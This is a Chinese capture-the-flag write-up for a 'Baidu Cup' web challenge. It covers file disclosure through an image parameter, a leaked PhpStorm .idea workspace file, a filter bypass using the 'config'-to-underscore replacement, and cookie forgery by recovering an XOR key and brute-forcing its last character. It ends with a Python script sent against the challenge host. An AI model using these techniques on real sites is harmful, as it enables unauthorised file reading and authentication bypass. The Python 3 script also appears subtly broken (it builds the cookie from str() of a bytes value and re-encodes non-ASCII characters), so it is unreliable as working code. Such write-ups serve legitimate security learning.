“百度杯”CTF比赛 九月场-Code
打开主页,跳转到了/index.php?jpg=hei.jpg 并且只有一张这样的以base64形式放入的图片。
把?jpg=hei.jpg替换为?jpg=index.php
base64解码后得到如下代码:
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
注意注释,这里学到了一个姿势:
phpstorm写的东西会有一个.idea文件夹,里面存储了一些配置文件。
访问.idea/workspace.xml
发现了一些有趣的东西:
输入url/x.php
输入url/config.php
显示:空白
输入url/fl3g_ichuqiu.php
显示:╮(╯▽╰)╭
首页以jpg参数进行文件读取的话,下划线会被过滤掉。
又因为str_replace("config","_", $file);
经测试,可以绕过下划线的限制:
<?php $file = "fl3gconfigichuqiu.php"; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); echo $file; ?>
输出fl3g_ichuqiu.php
所以传入index.php?jpg=fl3gconfigichuqiu.php
得到如下代码:
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ error_reporting(E_ALL || ~E_NOTICE); include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt,$key){ for($i=0;$i<strlen($txt);$i++){ $tmp .= chr(ord($txt[$i])+10); } $txt = $tmp; $rnd=random(4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; } return base64_encode($rnd.$ttmp); } function decrypt($txt,$key){ $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); } return $tmp1; } $username = decrypt($_COOKIE['user'],$key); if ($username == 'system'){ echo $flag; }else{ setcookie('user',encrypt('guest',$key)); echo "╮(╯▽╰)╭"; } ?>
我们要做的就是研究它的加密算法如何让fl3g_ichuqiu.php解密cookie中的username让其刚好等于system。
通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值。
encrypt('guest',$key),则cookie值就是明文“guest”与key(5位)加密的结果(即guest与key异或得到cookie,那么guest与cookie异或可以得到key)。
得到5位的key后,可以爆破第六位的key,只要用得到的5位key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url,
通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。
先马克一下大佬的脚本,咱修改成了py3可以跑的:
# _*_ coding: utf-8 _* import requests import base64 url="http://402238c4dcc948509ac193089e37c3ba2eb7e426c8b74f40.changame.ichunqiu.com/fl3g_ichuqiu.php" cookie=requests.get(url).cookies['user'] #请求该url,获取服务器返回的user变量的cookie值 txt=base64.b64decode(cookie) #将密文cookie进行base64解码 rnd=txt[:4] #密文的前4位字符为随机字符 ttmp=txt[4:] #ttmp为'guest'与key进行异或的密文值,ttmp与'guest'的位数一样,为5位 keys=list('xxxxxx') #六位key的初始字符串 guest=list('guest') #guest明文内容 system=list('system') for i in range(len(guest)): guest[i]=chr(ord(guest[i])+10) for i in range(len(guest)): keys[i]=chr(ttmp[i]^ord(guest[i])) #ttmp为'guest'与key进行异或的密文值,则ttmp与guest异或为keys for i in range(len(system)): system[i]=chr(ord(system[i])+10) letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz' #第六位key的爆破字符 ttmp_new='' #system与keys的异或值 cookie_system=[] strr='' for ch in letters: keys[5]=ch for i in range(len(system)): ttmp_new +=chr(ord(system[i])^ord(keys[i])) strr=str(rnd)+str(ttmp_new) strr = strr.encode() cookie_system.append(base64.b64encode(strr)) ttmp_new='' for i in cookie_system: cookies={'user':i.decode().strip()} print(cookies) res=requests.get(url,cookies=cookies) print(res.text)